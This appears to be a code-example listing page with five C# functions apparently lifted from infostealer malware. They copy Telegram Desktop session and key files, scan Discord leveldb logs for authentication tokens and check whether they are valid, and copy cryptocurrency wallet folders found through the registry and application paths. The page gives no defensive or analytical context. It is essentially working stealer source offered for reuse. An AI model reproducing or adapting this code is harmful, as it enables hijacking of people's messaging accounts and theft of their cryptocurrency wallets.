예제 #1
0
        public static bool GetTelegramSessions(string sSaveDir)
        {
            string TelegramDesktopPath = GetTdata();

            try
            {
                if (!Directory.Exists(TelegramDesktopPath))
                {
                    return(false);
                }

                Directory.CreateDirectory(sSaveDir);

                // Get all directories
                string[] Directories = Directory.GetDirectories(TelegramDesktopPath);
                string[] Files       = Directory.GetFiles(TelegramDesktopPath);

                // Copy directories
                foreach (string dir in Directories)
                {
                    string name = new DirectoryInfo(dir).Name;
                    if (name.Length == 16)
                    {
                        string copyTo = Path.Combine(sSaveDir, name);
                        Filemanager.CopyDirectory(dir, copyTo);
                    }
                }
                // Copy files
                foreach (string file in Files)
                {
                    FileInfo finfo  = new FileInfo(file);
                    string   name   = finfo.Name;
                    string   copyTo = Path.Combine(sSaveDir, name);
                    // Check file size
                    if (finfo.Length > 5120)
                    {
                        continue;
                    }
                    // Copy session files
                    if (name.EndsWith("s") && name.Length == 17)
                    {
                        finfo.CopyTo(copyTo);
                        continue;
                    }
                    // Copy required files
                    if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data"))
                    {
                        finfo.CopyTo(copyTo);
                    }
                }
                Counter.Telegram = true;
                return(true);
            }
            catch { return(false); }
        }
예제 #2
0
        // Copy wallet files to directory
        private static void CopyWalletFromDirectoryTo(string sSaveDir, string sWalletDir, string sWalletName)
        {
            string cdir = sWalletDir;
            string sdir = Path.Combine(sSaveDir, sWalletName);

            if (Directory.Exists(cdir))
            {
                Filemanager.CopyDirectory(cdir, sdir);
                Counter.Wallets++;
            }
        }
예제 #3
0
        // Copy Local State directory
        private static void CopyLevelDb(string sSavePath)
        {
            foreach (string dir in DiscordDirectories)
            {
                string directory   = Path.GetDirectoryName(Path.Combine(Paths.appdata, dir));
                string cpdirectory = Path.Combine(sSavePath,
                                                  new DirectoryInfo(directory).Name);

                if (!Directory.Exists(directory))
                {
                    continue;
                }
                try
                {
                    Filemanager.CopyDirectory(directory, cpdirectory);
                } catch { }
            }
        }
예제 #4
0
        // Copy wallet from registry to directory
        private static void CopyWalletFromRegistryTo(string sSaveDir, string sWalletRegistry)
        {
            string sdir = Path.Combine(sSaveDir, sWalletRegistry);

            try
            {
                using (var registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey(sWalletRegistry).OpenSubKey($"{sWalletRegistry}-Qt"))
                {
                    if (registryKey != null)
                    {
                        string cdir = registryKey.GetValue("strDataDir").ToString() + "\\wallets";
                        if (Directory.Exists(cdir))
                        {
                            Filemanager.CopyDirectory(cdir, sdir);
                            Counter.Wallets++;
                        }
                    }
                }
            }
            catch (System.Exception ex) { Logging.Log("Wallets >> Failed collect wallet from registry\n" + ex); }
        }
예제 #5
0
        // Get discord tokens
        public static string[] GetTokens()
        {
            List <string> tokens = new List <string>();

            try
            {
                foreach (string dir in DiscordDirectories)
                {
                    string directory   = Path.Combine(Paths.appdata, dir);
                    string cpdirectory = Path.Combine(Path.GetTempPath(), new DirectoryInfo(directory).Name);

                    if (!Directory.Exists(directory))
                    {
                        continue;
                    }

                    Filemanager.CopyDirectory(directory, cpdirectory);

                    foreach (string file in Directory.GetFiles(cpdirectory))
                    {
                        if (!file.EndsWith(".log") && !file.EndsWith(".ldb"))
                        {
                            continue;
                        }

                        string text  = File.ReadAllText(file);
                        Match  match = TokenRegex.Match(text);
                        if (match.Success)
                        {
                            tokens.Add($"{match.Value} - {TokenState(match.Value)}");
                        }
                    }

                    Filemanager.RecursiveDelete(cpdirectory);
                }
            }
            catch (Exception ex) { Console.WriteLine(ex); }
            return(tokens.ToArray());
        }